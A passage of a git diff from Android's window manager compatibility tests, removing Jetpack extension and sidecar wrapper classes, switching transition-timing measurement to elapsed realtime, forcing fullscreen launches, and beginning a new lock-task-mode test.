deleted file mode 100644
index f764564..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionDeviceState.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl;
-
-import android.server.wm.jetpack.utils.wrapper.TestDeviceState;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.window.extensions.ExtensionDeviceState;
-
-import com.google.common.base.Preconditions;
-
-/** Compatibility wrapper for extension versions v1.0+. */
-final class TestExtensionDeviceState implements TestDeviceState {
-
-    @Nullable
-    static TestExtensionDeviceState create(@Nullable ExtensionDeviceState extensionDeviceState) {
-        return extensionDeviceState == null
-                ? null
-                : new TestExtensionDeviceState(extensionDeviceState);
-    }
-
-    private final ExtensionDeviceState mExtensionDeviceState;
-
-    private TestExtensionDeviceState(@NonNull ExtensionDeviceState extensionDeviceState) {
-        mExtensionDeviceState = Preconditions.checkNotNull(extensionDeviceState);
-    }
-
-    @Override
-    public int getPosture() {
-        return mExtensionDeviceState.getPosture();
-    }
-
-    @NonNull
-    @Override
-    public String toString() {
-        return mExtensionDeviceState.toString();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) {
-            return true;
-        }
-        if (!(obj instanceof TestExtensionDeviceState)) {
-            return false;
-        }
-        final TestExtensionDeviceState other = (TestExtensionDeviceState) obj;
-        return mExtensionDeviceState.equals(other.mExtensionDeviceState);
-    }
-
-    @Override
-    public int hashCode() {
-        return mExtensionDeviceState.hashCode();
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionDisplayFeature.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionDisplayFeature.java
deleted file mode 100644
index a0ce233..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionDisplayFeature.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl;
-
-import android.graphics.Rect;
-import android.server.wm.jetpack.utils.wrapper.TestDisplayFeature;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.window.extensions.ExtensionDisplayFeature;
-
-/** Compatibility wrapper for extension versions v1.0+. */
-final class TestExtensionDisplayFeature implements TestDisplayFeature {
-
-    @Nullable
-    static TestExtensionDisplayFeature create(
-            @Nullable ExtensionDisplayFeature extensionDisplayFeature) {
-        return extensionDisplayFeature == null
-                ? null
-                : new TestExtensionDisplayFeature(extensionDisplayFeature);
-    }
-
-    private final ExtensionDisplayFeature mExtensionDisplayFeature;
-
-    private TestExtensionDisplayFeature(@NonNull ExtensionDisplayFeature extensionDisplayFeature) {
-        mExtensionDisplayFeature = extensionDisplayFeature;
-    }
-
-    @Override
-    public Rect getBounds() {
-        return mExtensionDisplayFeature.getBounds();
-    }
-
-    @Override
-    public int getType() {
-        return mExtensionDisplayFeature.getType();
-    }
-
-    @NonNull
-    @Override
-    public String toString() {
-        return mExtensionDisplayFeature.toString();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) {
-            return true;
-        }
-        if (!(obj instanceof TestExtensionDisplayFeature)) {
-            return false;
-        }
-        final TestExtensionDisplayFeature other = (TestExtensionDisplayFeature) obj;
-        return mExtensionDisplayFeature.equals(other.mExtensionDisplayFeature);
-    }
-
-    @Override
-    public int hashCode() {
-        return mExtensionDisplayFeature.hashCode();
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionWindowLayoutInfo.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionWindowLayoutInfo.java
deleted file mode 100644
index 89d5e95..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/extensionwrapperimpl/TestExtensionWindowLayoutInfo.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl;
-
-
-import android.server.wm.jetpack.utils.wrapper.TestDisplayFeature;
-import android.server.wm.jetpack.utils.wrapper.TestWindowLayoutInfo;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.window.extensions.ExtensionDisplayFeature;
-import androidx.window.extensions.ExtensionWindowLayoutInfo;
-
-import java.util.List;
-import java.util.stream.Collectors;
-
-/** Compatibility wrapper for extension versions v1.0+. */
-final class TestExtensionWindowLayoutInfo implements TestWindowLayoutInfo {
-
-    @Nullable
-    static TestExtensionWindowLayoutInfo create(
-            @Nullable ExtensionWindowLayoutInfo extensionWindowLayoutInfo) {
-        return extensionWindowLayoutInfo == null
-                ? null
-                : new TestExtensionWindowLayoutInfo(extensionWindowLayoutInfo);
-    }
-
-    private final ExtensionWindowLayoutInfo mExtensionWindowLayoutInfo;
-
-    private TestExtensionWindowLayoutInfo(ExtensionWindowLayoutInfo extensionWindowLayoutInfo) {
-        mExtensionWindowLayoutInfo = extensionWindowLayoutInfo;
-    }
-
-    @Nullable
-    @Override
-    public List<TestDisplayFeature> getDisplayFeatures() {
-        List<ExtensionDisplayFeature> displayFeatures =
-                mExtensionWindowLayoutInfo.getDisplayFeatures();
-        return displayFeatures == null
-                ? null
-                : mExtensionWindowLayoutInfo.getDisplayFeatures()
-                        .stream()
-                        .map(TestExtensionDisplayFeature::create)
-                        .collect(Collectors.toList());
-    }
-
-    @NonNull
-    @Override
-    public String toString() {
-        return mExtensionWindowLayoutInfo.toString();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) {
-            return true;
-        }
-        if (!(obj instanceof TestExtensionWindowLayoutInfo)) {
-            return false;
-        }
-        final TestExtensionWindowLayoutInfo other = (TestExtensionWindowLayoutInfo) obj;
-        return mExtensionWindowLayoutInfo.equals(other.mExtensionWindowLayoutInfo);
-    }
-
-    @Override
-    public int hashCode() {
-        return mExtensionWindowLayoutInfo.hashCode();
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarCompat.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarCompat.java
deleted file mode 100644
index 5eec289..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarCompat.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl;
-
-import android.os.IBinder;
-import android.server.wm.jetpack.utils.wrapper.TestDeviceState;
-import android.server.wm.jetpack.utils.wrapper.TestInterfaceCompat;
-import android.server.wm.jetpack.utils.wrapper.TestWindowLayoutInfo;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.window.sidecar.SidecarDeviceState;
-import androidx.window.sidecar.SidecarInterface;
-import androidx.window.sidecar.SidecarWindowLayoutInfo;
-
-/** Extension interface compatibility wrapper for v0.1 sidecar. */
-@SuppressWarnings("deprecation")
-public final class TestSidecarCompat implements TestInterfaceCompat {
-
-    @Nullable
-    public static TestSidecarCompat create(@Nullable SidecarInterface sidecarInterface) {
-        return sidecarInterface == null ? null : new TestSidecarCompat(sidecarInterface);
-    }
-
-    @NonNull
-    private final SidecarInterface mSidecarInterface;
-
-    private TestSidecarCompat(@NonNull SidecarInterface sidecarInterface) {
-        mSidecarInterface = sidecarInterface;
-    }
-
-    @Override
-    public void setExtensionCallback(@NonNull TestInterfaceCallback callback) {
-        mSidecarInterface.setSidecarCallback(new SidecarInterface.SidecarCallback() {
-            @Override
-            public void onDeviceStateChanged(@NonNull SidecarDeviceState newDeviceState) {
-                callback.onDeviceStateChanged(TestSidecarDeviceState.create(newDeviceState));
-            }
-
-            @Override
-            public void onWindowLayoutChanged(@NonNull IBinder windowToken,
-                    @NonNull SidecarWindowLayoutInfo newLayout) {
-                callback.onWindowLayoutChanged(
-                        windowToken,
-                        TestSidecarWindowLayoutInfo.create(newLayout));
-            }
-        });
-    }
-
-    @Override
-    public TestWindowLayoutInfo getWindowLayoutInfo(@NonNull IBinder windowToken) {
-        return TestSidecarWindowLayoutInfo.create(
-                mSidecarInterface.getWindowLayoutInfo(windowToken));
-    }
-
-    @Override
-    public void onWindowLayoutChangeListenerAdded(@NonNull IBinder windowToken) {
-        mSidecarInterface.onWindowLayoutChangeListenerAdded(windowToken);
-    }
-
-    @Override
-    public void onWindowLayoutChangeListenerRemoved(@NonNull IBinder windowToken) {
-        mSidecarInterface.onWindowLayoutChangeListenerRemoved(windowToken);
-    }
-
-    @Override
-    public TestDeviceState getDeviceState() {
-        return TestSidecarDeviceState.create(mSidecarInterface.getDeviceState());
-    }
-
-    @Override
-    public void onDeviceStateListenersChanged(boolean isEmpty) {
-        mSidecarInterface.onDeviceStateListenersChanged(isEmpty);
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
deleted file mode 100644
index f04deb8..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl;
-
-import android.server.wm.jetpack.utils.wrapper.TestDeviceState;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.window.sidecar.SidecarDeviceState;
-
-/** Extension interface compatibility wrapper for v0.1 sidecar. */
-@SuppressWarnings("deprecation")
-public final class TestSidecarDeviceState implements TestDeviceState {
-
-    @Nullable
-    static TestSidecarDeviceState create(@Nullable SidecarDeviceState sidecarDeviceState) {
-        return sidecarDeviceState == null
-                ? null
-                : new TestSidecarDeviceState(sidecarDeviceState);
-    }
-
-    private final SidecarDeviceState mSidecarDeviceState;
-
-    private TestSidecarDeviceState(@NonNull SidecarDeviceState sidecarDeviceState) {
-        mSidecarDeviceState = sidecarDeviceState;
-    }
-
-    @Override
-    public int getPosture() {
-        return mSidecarDeviceState.posture;
-    }
-
-    @NonNull
-    @Override
-    public String toString() {
-        return mSidecarDeviceState.toString();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) {
-            return true;
-        }
-        if (!(obj instanceof TestSidecarDeviceState)) {
-            return false;
-        }
-        final TestSidecarDeviceState other = (TestSidecarDeviceState) obj;
-        return mSidecarDeviceState.equals(other.mSidecarDeviceState);
-    }
-
-    @Override
-    public int hashCode() {
-        return mSidecarDeviceState.hashCode();
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarDisplayFeature.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarDisplayFeature.java
deleted file mode 100644
index 2437e9b..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarDisplayFeature.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl;
-
-import android.graphics.Rect;
-import android.server.wm.jetpack.utils.wrapper.TestDisplayFeature;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.window.sidecar.SidecarDisplayFeature;
-
-/** Extension interface compatibility wrapper for v0.1 sidecar. */
-@SuppressWarnings("deprecation")
-final class TestSidecarDisplayFeature implements TestDisplayFeature {
-
-    @Nullable
-    static TestSidecarDisplayFeature create(@Nullable SidecarDisplayFeature sidecarDisplayFeature) {
-        return sidecarDisplayFeature == null
-                ? null
-                : new TestSidecarDisplayFeature(sidecarDisplayFeature);
-    }
-
-    private final SidecarDisplayFeature mSidecarDisplayFeature;
-
-    private TestSidecarDisplayFeature(@NonNull SidecarDisplayFeature sidecarDisplayFeature) {
-        mSidecarDisplayFeature = sidecarDisplayFeature;
-    }
-
-    @Override
-    public Rect getBounds() {
-        return mSidecarDisplayFeature.getRect();
-    }
-
-    @Override
-    public int getType() {
-        return mSidecarDisplayFeature.getType();
-    }
-
-    @NonNull
-    @Override
-    public String toString() {
-        return mSidecarDisplayFeature.toString();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) {
-            return true;
-        }
-        if (!(obj instanceof TestSidecarDisplayFeature)) {
-            return false;
-        }
-        final TestSidecarDisplayFeature other = (TestSidecarDisplayFeature) obj;
-        return mSidecarDisplayFeature.equals(other.mSidecarDisplayFeature);
-    }
-
-    @Override
-    public int hashCode() {
-        return mSidecarDisplayFeature.hashCode();
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
deleted file mode 100644
index 31e496ba..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
+++ /dev/null
@@ -1,127 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl;
-
-
-import android.server.wm.jetpack.utils.wrapper.TestDisplayFeature;
-import android.server.wm.jetpack.utils.wrapper.TestWindowLayoutInfo;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.window.sidecar.SidecarDisplayFeature;
-import androidx.window.sidecar.SidecarWindowLayoutInfo;
-
-import java.util.List;
-import java.util.stream.Collectors;
-
-/** Extension interface compatibility wrapper for v0.1 sidecar. */
-@SuppressWarnings("deprecation")
-final class TestSidecarWindowLayoutInfo implements TestWindowLayoutInfo {
-
-    @Nullable
-    static TestSidecarWindowLayoutInfo create(
-            @Nullable SidecarWindowLayoutInfo sidecarWindowLayoutInfo) {
-        return sidecarWindowLayoutInfo == null
-                ? null
-                : new TestSidecarWindowLayoutInfo(sidecarWindowLayoutInfo);
-    }
-
-    private final SidecarWindowLayoutInfo mSidecarWindowLayoutInfo;
-
-    private TestSidecarWindowLayoutInfo(SidecarWindowLayoutInfo sidecarWindowLayoutInfo) {
-        mSidecarWindowLayoutInfo = sidecarWindowLayoutInfo;
-    }
-
-    @Nullable
-    @Override
-    public List<TestDisplayFeature> getDisplayFeatures() {
-        List<SidecarDisplayFeature> displayFeatures = mSidecarWindowLayoutInfo.displayFeatures;
-        return displayFeatures == null
-                ? null
-                : displayFeatures
-                        .stream()
-                        .map(TestSidecarDisplayFeature::create)
-                        .collect(Collectors.toList());
-    }
-
-    @NonNull
-    @Override
-    public String toString() {
-        return mSidecarWindowLayoutInfo.toString();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) {
-            return true;
-        }
-        if (!(obj instanceof TestSidecarWindowLayoutInfo)) {
-            return false;
-        }
-        final TestSidecarWindowLayoutInfo other = (TestSidecarWindowLayoutInfo) obj;
-        return areSidecarWindowLayoutInfoEqual(mSidecarWindowLayoutInfo,
-                other.mSidecarWindowLayoutInfo);
-    }
-
-    @Override
-    public int hashCode() {
-        return mSidecarWindowLayoutInfo.hashCode();
-    }
-
-    /**
-     * Compares two {@link SidecarWindowLayoutInfo} with respect to their core data. This method is
-     * necessary because {@link SidecarWindowLayoutInfo} did not implement {@code equals}. Also
-     * Sidecar has been deprecated and frozen, so this method is stable.
-     *
-     * @param lhs {@link SidecarWindowLayoutInfo} to be compared.
-     * @param rhs {@link SidecarWindowLayoutInfo} to be compared.
-     * @return {@code true} if objects are equal with respect to data otherwise return
-     * {@code false}.
-     */
-    private static boolean areSidecarWindowLayoutInfoEqual(@NonNull SidecarWindowLayoutInfo lhs,
-            @NonNull SidecarWindowLayoutInfo rhs) {
-        if (lhs.displayFeatures == rhs.displayFeatures) {
-            return true;
-        }
-        if (lhs.displayFeatures == null || rhs.displayFeatures == null
-                || lhs.displayFeatures.size() != rhs.displayFeatures.size()) {
-            return false;
-        }
-        for (int i = 0; i < lhs.displayFeatures.size(); i++) {
-            if (!areSidecarDisplayFeatureEqual(lhs.displayFeatures.get(i),
-                    rhs.displayFeatures.get(i))) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /**
-     * Compares two {@link SidecarDisplayFeature} with respect to their core data.  This method is
-     * necessary because {@link SidecarWindowLayoutInfo} did not implement {@code equals}.  Also
-     * Sidecar has been deprecated and frozen, so this method is stable.
-     *
-     * @param lhs {@link SidecarDisplayFeature} to be compared.
-     * @param rhs {@link SidecarDisplayFeature} to be compared.
-     * @return {@code true} if objects are equal with respect to data otherwise return
-     * {@code false}.
-     */
-    private static boolean areSidecarDisplayFeatureEqual(@NonNull SidecarDisplayFeature lhs,
-            @NonNull SidecarDisplayFeature rhs) {
-        return lhs.getType() == rhs.getType() && lhs.getRect().equals(rhs.getRect());
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
index 0ebbb86..d6678bf 100644
--- a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
+++ b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
Binary files differ
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
index 1e8ff2e..9293ed9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.os.SystemClock.sleep;
 import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
 import static android.server.wm.ActivityLauncher.KEY_TARGET_COMPONENT;
@@ -437,6 +438,7 @@
         getLaunchActivityBuilder()
                 .setUseInstrumentation()
                 .setTargetActivity(activity)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .setWaitForLaunched(true)
                 .execute();
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
index d113def..122ef2a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
@@ -32,6 +32,7 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
+import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.cts.R;
 import android.util.Range;
@@ -44,6 +45,7 @@
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicLong;
 
 /**
  * <p>Build/Install/Run:
@@ -78,15 +80,15 @@
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
 
         final CountDownLatch latch = new CountDownLatch(1);
-        long[] transitionStartTime = new long[1];
-        long[] transitionEndTime = new long[1];
+        AtomicLong transitionStartTime = new AtomicLong();
+        AtomicLong transitionEndTime = new AtomicLong();
 
         final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
-            transitionStartTime[0] = System.currentTimeMillis();
+            transitionStartTime.set(SystemClock.elapsedRealtime());
         };
 
         final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
-            transitionEndTime[0] = System.currentTimeMillis();
+            transitionEndTime.set(SystemClock.elapsedRealtime());
             latch.countDown();
         };
 
@@ -105,7 +107,7 @@
                 DEFAULT_DISPLAY, "Activity must be launched");
 
         latch.await(2, TimeUnit.SECONDS);
-        final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+        final long totalTime = transitionEndTime.get() - transitionStartTime.get();
         assertTrue("Actual transition duration should be in the range "
                 + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
                 + "actual=" + totalTime, durationRange.contains(totalTime));
@@ -121,15 +123,15 @@
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
 
         final CountDownLatch latch = new CountDownLatch(1);
-        long[] transitionStartTime = new long[1];
-        long[] transitionEndTime = new long[1];
+        AtomicLong transitionStartTime = new AtomicLong();
+        AtomicLong transitionEndTime = new AtomicLong();
 
         final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
-            transitionStartTime[0] = System.currentTimeMillis();
+            transitionStartTime.set(SystemClock.elapsedRealtime());
         };
 
         final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
-            transitionEndTime[0] = System.currentTimeMillis();
+            transitionEndTime.set(SystemClock.elapsedRealtime());
             latch.countDown();
         };
 
@@ -144,7 +146,7 @@
                 "Activity must be launched");
 
         latch.await(2, TimeUnit.SECONDS);
-        final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+        final long totalTime = transitionEndTime.get() - transitionStartTime.get();
         assertTrue("Actual transition duration should be in the range "
                 + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
                 + "actual=" + totalTime, durationRange.contains(totalTime));
@@ -160,15 +162,15 @@
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
 
         final CountDownLatch latch = new CountDownLatch(1);
-        long[] transitionStartTime = new long[1];
-        long[] transitionEndTime = new long[1];
+        AtomicLong transitionStartTime = new AtomicLong();
+        AtomicLong transitionEndTime = new AtomicLong();
 
         final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
-            transitionStartTime[0] = System.currentTimeMillis();
+            transitionStartTime.set(SystemClock.elapsedRealtime());
         };
 
         final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
-            transitionEndTime[0] = System.currentTimeMillis();
+            transitionEndTime.set(SystemClock.elapsedRealtime());
             latch.countDown();
         };
 
@@ -185,7 +187,7 @@
                 "Activity must be launched");
 
         latch.await(2, TimeUnit.SECONDS);
-        final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+        final long totalTime = transitionEndTime.get() - transitionStartTime.get();
         assertTrue("Actual transition duration should be in the range "
                 + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
                 + "actual=" + totalTime, durationRange.contains(totalTime));
@@ -201,15 +203,15 @@
         final Range<Long> durationRange = new Range<>(minDurationMs, maxDurationMs);
 
         final CountDownLatch latch = new CountDownLatch(1);
-        long[] transitionStartTime = new long[1];
-        long[] transitionEndTime = new long[1];
+        AtomicLong transitionStartTime = new AtomicLong();
+        AtomicLong transitionEndTime = new AtomicLong();
 
         final ActivityOptions.OnAnimationStartedListener startedListener = () -> {
-            transitionStartTime[0] = System.currentTimeMillis();
+            transitionStartTime.set(SystemClock.elapsedRealtime());
         };
 
         final ActivityOptions.OnAnimationFinishedListener finishedListener = () -> {
-            transitionEndTime[0] = System.currentTimeMillis();
+            transitionEndTime.set(SystemClock.elapsedRealtime());
             latch.countDown();
         };
 
@@ -226,7 +228,7 @@
                     "Activity must be launched");
 
             latch.await(2, TimeUnit.SECONDS);
-            final long totalTime = transitionEndTime[0] - transitionStartTime[0];
+            final long totalTime = transitionEndTime.get() - transitionStartTime.get();
             assertTrue("Actual transition duration should be in the range "
                     + "<" + minDurationMs + ", " + maxDurationMs + "> ms, "
                     + "actual=" + totalTime, durationRange.contains(totalTime));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index aaeedc2..6190316 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -24,7 +24,6 @@
 import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
-import static android.server.wm.UiDeviceUtils.pressSleepButton;
 import static android.server.wm.VirtualDisplayHelper.waitForDefaultDisplayState;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
@@ -64,6 +63,7 @@
 import android.server.wm.CommandSession.ActivitySessionClient;
 import android.server.wm.app.Components;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -327,9 +327,11 @@
         }
 
         getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
 
         getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
 
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
@@ -337,6 +339,41 @@
         mWmState.assertHomeActivityVisible(true);
     }
 
+    /**
+     * This test case tests behavior of activity launched with FLAG_ACTIVITY_TASK_ON_HOME in lock
+     * task mode. The home task do not move to the front of the launched task if the home task
+     * is violated with the lock-task mode.
+     */
+    @Test
+    public void testLaunchTaskOnHomeInLockTaskMode() {
+        if (!hasHomeScreen()) {
+            return;
+        }
+        // Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks.
+        getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
+        waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
+        final int taskId = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
+
+        try {
+            runWithShellPermission(() -> mAtm.startSystemLockTaskMode(taskId));
